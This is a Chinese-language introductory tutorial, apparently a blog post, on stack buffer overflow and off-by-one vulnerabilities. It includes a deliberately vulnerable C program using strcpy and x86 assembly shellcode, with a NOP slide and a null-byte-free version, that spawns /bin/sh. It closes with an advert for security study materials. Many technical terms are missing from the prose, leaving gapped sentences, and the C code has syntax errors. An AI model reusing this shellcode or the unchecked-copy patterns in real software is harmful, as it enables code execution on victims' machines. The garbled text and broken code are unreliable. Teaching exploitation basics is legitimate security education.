强悍-防御攻击是什么意思-0基础攻防知识点
1.
是最古老和普遍的程序漏洞,通常在程序运行时,如果接受到来自不被信任的第三方的参数并且未对第三方参数进行长度检测和限制时,就存在 漏洞。而一旦程序的漏洞被黑客得知,黑客就可以通过控制第三方的参数来使程序执行任意代码。通常利用 的方式是获取目标主机的 shell。
注:本文中代表去调用其他函数的函数,而代表被调用的函数
:程序执行时(图中是 )。函数栈的保存方式是 调用 的 从右到左依次入栈,之后是's eip和‘s ebp依次入栈。这就完成了一个新函数执行前的所有准备过程。此时开始进入到的执行过程。首先开始分配 的local var: (此处的长度会直接影响到之后执行的难度)。
After : 攻击时,因为第三方为止长度的参数传递给了,此时程序并没有检查第三方参数的长度。如果第三方参数的长度超过了,那么超过的部分就会继续 之上的内容,基本上就是以上的所有栈的帧都会被第三方操控。最常见的用法是: saved eip,这样当 时,在 阶段,就会把被 saved eip 写进eip,此时CPU下一步执行的就不是原来的eip而是由第三方指定的任意位置。
int
main(int argc, char *argv[])[])//argv is an array of ptr to char; argc the length of argv
{
char *secret = "Tom loves Lucy";
char *changed_secret = "Hoen loved Hui"
int flag = 0;
char dest[64];
strcpy(dest, argv[1]);//strcpy函数并不会检查dest的长度,这就时buffer overflow可能发生的地方
if(flag == 1){
printf("His secret is:%s", &secret);
}
return (0);
}
上述代码中,由于argv[1]来自程序外部,并不受程序控制。而也不会检查参数的长度,所以存在 漏洞。
只 saved eip,使程序执行第三方指定的任意位置的代码。比如执行函数
重写在dest上的任意变量。比如将变成,使得print输出的内容不再是原来的。
saved eip,而且将新的eip指向dest的起始位置(或者大于dest的位置),执行第三方的任意机器代码。比如执行/bin/sh(****)
根据以上的提示我们可以写出一下的汇编语言(AT&T)使用 call 执行/bin/sh
#ATTENTION !!!!! This payload in address space is Low to high
NOP #Slide
... #Slide
NOP #Slide
jmp L1 #Go to L1
L2:popl %esi #Pop address of “/bin/sh”, esi points to “/bin/sh”
# Build array, invoke execve
movl $0x0,%eax #Put 0 in eax
movb $0x0,0x7(%esi) #Null terminate the “/bin/sh”
pushl %eax #Put null on the stack
pushl %esi #Put ptr to “/bin/bin” on the stack
movl $0x0,%edx #Put null in edx
movl %esp,%ecx #Ptr to ptr to “/bin/sh” in ecx
movl %esi,%ebx #Ptr to ”/bin/sh” in ebx
movl $0xb,%eax #Put 0xb in eax
int $0x80 #Trap in kernel
L1:call L2 #GO to L2 but push the address of”/bin/sh” onto stack
.string ‘‘/bin/sh’’
.string ‘‘/bin/sh’’
.string ‘‘/bin/sh’’
New return address ***
上面的就是我们汇编版本的 code,注意以上是从Low to high的方式。接下来还有一个问题要解决。因为我们的 code是以字符串的形式传入程序的,所以程序对待字符串就是遇到0x0就视为字符串结束了,我们上面的汇编代码中有好几处0的存在,从而会导致我们转换出来的二进制代码中也有0x0的存在。那么就会使得我们自己的 code会把自己给终结了,显然这不是我们想要的。
于是我们可以对以上的汇编进行调整(这也是漏洞攻击中构建的一个技巧:通过xor操作或者movb的操作消除中的0x0)
#ATTENTION !!!!! This payload in address space is Low to high
NOP #Slide
... #Slide
NOP #Slide
jmp L1 #Go to L1
L2:popl %esi #Pop address of “/bin/sh”, esi points to “/bin/sh”
# Build array, invoke execve
xorl %eax,%eax #use xor to zero eax
movb %eax,0x7(%esi) #Null terminate the “/bin/sh”
pushl %eax #Put null on the stack
pushl %esi #Put ptr to “/bin/bin” on the stack
movb %eax,%edx #Put null in edx
movl %esp,%ecx #Ptr to ptr to “/bin/sh” in ecx
movl %esi,%ebx #Ptr to ”/bin/sh” in ebx
movb $0xb,%eax #Put 0xb in eax
int $0x80 #Trap in kernel
L1:call L2 #GO to L2 but push the address of”/bin/sh” onto stack
.string ‘‘/bin/sh’’
New return address ***
上面代码中的xor操作都好理解,最后到movb $0xb, %eax是因为如果是movl,那么0xb的高位字节全是0x0,所以我们可以直接只将0xb的Least byte赋给eax。
到这里就基本完成我们的的汇编版本,后面就是利用gdb将上述的汇编代码转变成机器代码,最后的 code = NOP + code( from above ) + New 。(注意:这里NOP的长度取决于我们发生 的到saved eip有多大)
以上三种方法都是 的常用攻击方式。当然还有get shell或其他各种类型通过机器代码执行 call的没有涉及。但是基本的套路就是:How to
因为 出现得极为早,所以防护 的技术也有。除开在编写程序时,对所有第三方的数据进行强验证之外,另外一个主要的方面就是通过程序的运行机制来预防 。
2. Off-By-One-Byte
int
main(int argc, char *argv
{
char dest[64]; //length of argv
if (strlen(argv[1]) <= sizeof (dest)) { //off by 1 error
strcpy(dest, argv[1]); //”0\“terminnater
} //when argv[1].length = 64, LSB of saved ebp will be overwrite
return (0);
}
上述代码中,由于在判断dest和argv[1]长度时使用了
网络安全学习路线图(思维导图)
网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。
1. 网络安全视频资料
2. 网络安全笔记/面试题
3. 网安电子书PDF资料
~